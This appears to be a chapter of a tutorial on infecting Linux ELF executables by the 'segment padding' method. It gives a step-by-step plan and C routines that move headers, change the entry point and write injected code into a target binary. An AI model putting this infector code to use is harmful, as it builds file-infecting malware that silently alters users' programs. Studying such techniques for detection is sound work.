I am extremely surprised and pleased. I'm surprised because as far as I am concerned I have always done what I wanted to do and followed my own way. Really, the honour has as much to do with Paddington as myself. | |
Michael Bond, creator of "Paddington Bear", on receiving an OBE |
This infection method got a lot of press under the name Remote shell trojan (RST) (i). It is based on a pecularity described in the platform specific part, Segment padding infection. On i386 its future is bleak. It seems that the gap is beeing actively closed. On Slackware 8.1 and Red Hat 8.0 /bin/bash is not vulnerable anymore. On other platforms the gap is much larger and will probably remain.
Read Segment padding infection before you continue and see there for the results of the code following below.
Table 1. Platform specific defaults of ELF
Platform | Address size | Offset | Base address | Alignment | _SC_PAGESIZE | Byte order |
---|---|---|---|---|---|---|
alpha | 64 | 0x00000000 | 0x120000000 | 0x10000 | 0x2000 | L |
i386 | 32 | 0x00000000 | 0x08048000 | 0x1000 | 0x1000 | L |
sparc | 32 | 0x00000000 | 0x00010000 | 0x10000 | 0x1000 | M |
_SC_PAGESIZE is a hardware constant and nothing compiler vendors choose. On the other hand column "Alignment" varies from challengingly tiny to exceedingly large. A quote from the ELF specification: [4]
[…] executable and shared object files must have segment images whose file offsets and virtual addresses are congruent, modulo the page size. Virtual addresses and file offsets for the SYSTEM V architecture segments are congruent modulo 4 KB (0x1000) or larger powers of 2. Because 4 KB is the maximum page size, the files will be suitable for paging regardless of physical page size. […]
This means that for every segment the last three digits of Offset equal the last three digits of VirtAddr in every healthy output of readelf and objdump. So unless we change VirtAddr as well - which means enormous trouble like relocation of every access to a global variable - we are stuck with allocating memory in chunks of _SC_PAGESIZE. By the way, that value is returned by sysconf(3).
Source: src/segment_padding/sysconf.c
#include <stdio.h>
#include <unistd.h>
#define QUERY(n) { #n, n }
struct Query
{
const char* name;
int key;
} Query[] =
{
QUERY(_SC_CLK_TCK),
QUERY(_SC_VERSION),
QUERY(_SC_PAGESIZE),
#ifdef __linux__
QUERY(_SC_PHYS_PAGES),
QUERY(_SC_AVPHYS_PAGES),
#endif
{ 0, 0 }
};
int main()
{
const struct Query* q = Query;
for(; q->name != 0; q++)
printf("%s=%ld\n", q->name, sysconf(q->key));
return 0;
} |
Obviously the output is platform dependent. See Segment padding infection if you are curious. Anyway, using free space resulting from alignment is problematic on i386 but comfortable on the other platforms. Scan segment padding is used to verify the existence of this gap. The output of that is again at Segment padding infection.
Insert our code between code segment and data segment.
Modify inserted code to jump to original entry point afterwards.
Change entry point to start of our code.
Modify program header
Include increased amount of code in entry of code segment.
Move all following entries down the file.
Modify section header
Include trailing code in last section of code segment (should be .rodata).
Move all following sections down the file.
This setup has a few problems.
Storage can be acquired only in multiples of _SC_PAGESIZE. This makes the increment in file size of the target quite noticeable.
Code size is limited. On i386 the segment alignment equals the page size, so we rely on a the existance of a strange extra gap to get a maximum of one page. On other platforms the alignment is much larger, so we have a good chance to get at least one page even without the extra gap.
Maximum code size is further restricted by code alignment. The i386 and descendants can execute misaligned code, though with a performance penalty; and this can be detected at run time by the operating system. Other hardware does not allow it at all.
On i386 infected executables will be detected by Scan segment padding. Unfortunately this crude method cannot tell whether the gap was never there or is really occupied by an infection.
Source: src/one_step_closer/new_entry_addr.inc
unsigned target_new_entry_addr(const Target* t)
{
TRACE(stderr, "target_new_entry_addr\n");
/* matches with aligned_end_of_cs */
return ALIGN_UP(t->phdr[2].p_vaddr + t->phdr[2].p_filesz);
} |
Source: src/one_step_closer/patch_phdr.inc
bool target_patch_phdr(Target* t)
{
Elf32_Phdr* entry;
size_t delta; /* distance between code and data segment (in memory) */
unsigned end_of_cs;
unsigned nr;
TRACE(stderr, "target_patch_phdr\n");
entry = t->phdr;
delta = entry[3].p_vaddr - entry[2].p_vaddr - entry[2].p_memsz;
CHECK_LT(TEVWH_PAGESIZE, delta);
entry[2].p_filesz += TEVWH_PAGESIZE;
entry[2].p_memsz += TEVWH_PAGESIZE;
end_of_cs = t->end_of_cs;
for(nr = t->p.ehdr->e_phnum; nr > 0; nr--, entry++)
{
/* ">=" instead of ">" is necessary at least on sparc-suse7.3 */
if (entry->p_offset >= end_of_cs)
entry->p_offset += TEVWH_PAGESIZE;
}
return true;
} |
Source: src/one_step_closer/patch_shdr.inc
bool target_patch_shdr(Target* t)
{
Elf32_Shdr* shdr;
unsigned end_of_cs;
unsigned nr;
TRACE(stderr, "patchShdr\n");
shdr = (Elf32_Shdr*)(t->p.b + t->p.ehdr->e_shoff);
end_of_cs = t->end_of_cs;
for(nr = t->p.ehdr->e_shnum; nr > 0; nr--, shdr++)
{
if (shdr->sh_offset >= end_of_cs)
{
/* move all following sections down */
shdr->sh_offset += TEVWH_PAGESIZE;
}
else if (shdr->sh_offset + shdr->sh_size == end_of_cs)
{
/* increase length of last section of code-segment (.rodata) */
shdr->sh_size += TEVWH_PAGESIZE;
}
}
t->p.ehdr->e_shoff += TEVWH_PAGESIZE;
return true; /* this implementation can't fail */
} |
Source: src/one_step_closer/copy_and_infect.inc
bool target_copy_and_infect(Target* t)
{
ssize_t size;
off_t off;
unsigned code_size;
TRACE(stderr, "target_copy_and_infect\n");
/* first part of original target */
size = write(t->fd_dst, t->p.b, t->end_of_cs);
CHECK_EQ(size, t->end_of_cs);
TRACE(stderr, "end_of_cs=%08x aligned_end_of_cs=%08x\n",
t->end_of_cs, t->aligned_end_of_cs);
off = lseek(t->fd_dst, t->aligned_end_of_cs, SEEK_SET);
CHECK_EQ(off, t->aligned_end_of_cs);
code_size = target_write_infection(t);
fprintf(stderr, "wrote %u bytes, ", code_size);
off = lseek(t->fd_dst, t->end_of_cs + TEVWH_PAGESIZE, SEEK_SET);
CHECK_EQ(off, t->end_of_cs + TEVWH_PAGESIZE);
/* rest of original target */
size = write(t->fd_dst, t->p.b + t->end_of_cs, t->filesize - t->end_of_cs);
CHECK_EQ(size, t->filesize - t->end_of_cs);
return true;
} |